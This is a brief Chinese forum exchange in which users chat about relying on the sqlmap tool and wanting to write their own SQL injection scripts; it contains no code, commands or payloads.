    sqlmap太强大了,然后慢慢发现使用了sqlmap自己整个人都懒惰了起来。

  • 1楼
    2020-6-23 22:59

    楼主可以的,我也想把每类注入都搞个脚本,仔细搞搞。SQLmap一把有时候经常梭不动